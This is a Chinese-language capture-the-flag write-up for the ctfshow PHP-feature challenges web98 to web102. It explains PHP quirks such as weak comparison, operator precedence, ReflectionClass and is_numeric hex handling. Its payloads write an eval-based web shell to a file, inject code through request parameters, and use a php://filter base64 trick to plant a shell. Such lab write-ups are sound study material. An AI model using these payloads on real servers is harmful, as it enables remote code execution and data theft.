ctfshow web入门 php特性web98-102
1.web98
get会被post方式覆盖,传入的参数需要等于flag,才能读取到flag值,如果直接传http_flag=flag,返回的结果会是一个空数组,因为get变量被覆盖了,而post没有传参
payload:
get 1=1
post HTTP_FLAG=flag
2.web99
array_push在数组末尾添加内容
rand(min,max)返回一个在min和max区间的随机数字
file_put_content往一个文件中写内容
弱比较,1.php==1
1出现的次数多,最有可能
payload:
n=1.php
content=<? eval($_POST[1])?>
3.web100
运算符优先级=大于and,or,=小于||,&&,and或&&都表示逻辑与,而or或||都表示逻辑或
所以只需要v1传入的数字即可
<?php
$a=6 and 0; #直接赋值
var_dump($a); #6
$b=5 &&0; #先进行逻辑与运算,之后在赋值
var_dump($b); #false
?>
php反射类,可以理解为是类的一个映射,可以方便在不知道类的定义的具体内容实现访问类的变量,函数等
php一个例子
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
过滤少了,所以可以直接命令执行
payload:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
#直接构造反射类,能输出里面的变量内容
v1=1&v2=echo new ReflectionClass&v3=;
flag注意格式
e30aad3a0x2dd5e60x2d44120x2da3370x2db212221ac3f7
0x2d是-的16进制
4.web101
为啥反射类可用,因为flag是变量名
和上题一样
payload:
v1=1&v2=echo new ReflectionClass&v3=;
注意flag值还少了一位,爆破,或一个一个试
5.web102
v2必须有数字
$a='<?=`cat *`;'; //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
//输出 5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制
payload:
php5中is_numeric函数认识16进制数,而php7这个函数不识别16进制数,
hex2bin将16进制转换为ascii码,<?php eval($_POST[1]);?>的16进制编码为0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后访问1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
需要随便填充一些数字,从第二个字符开始截取的(也就是第三个,是从0开始的)
之后访问1.php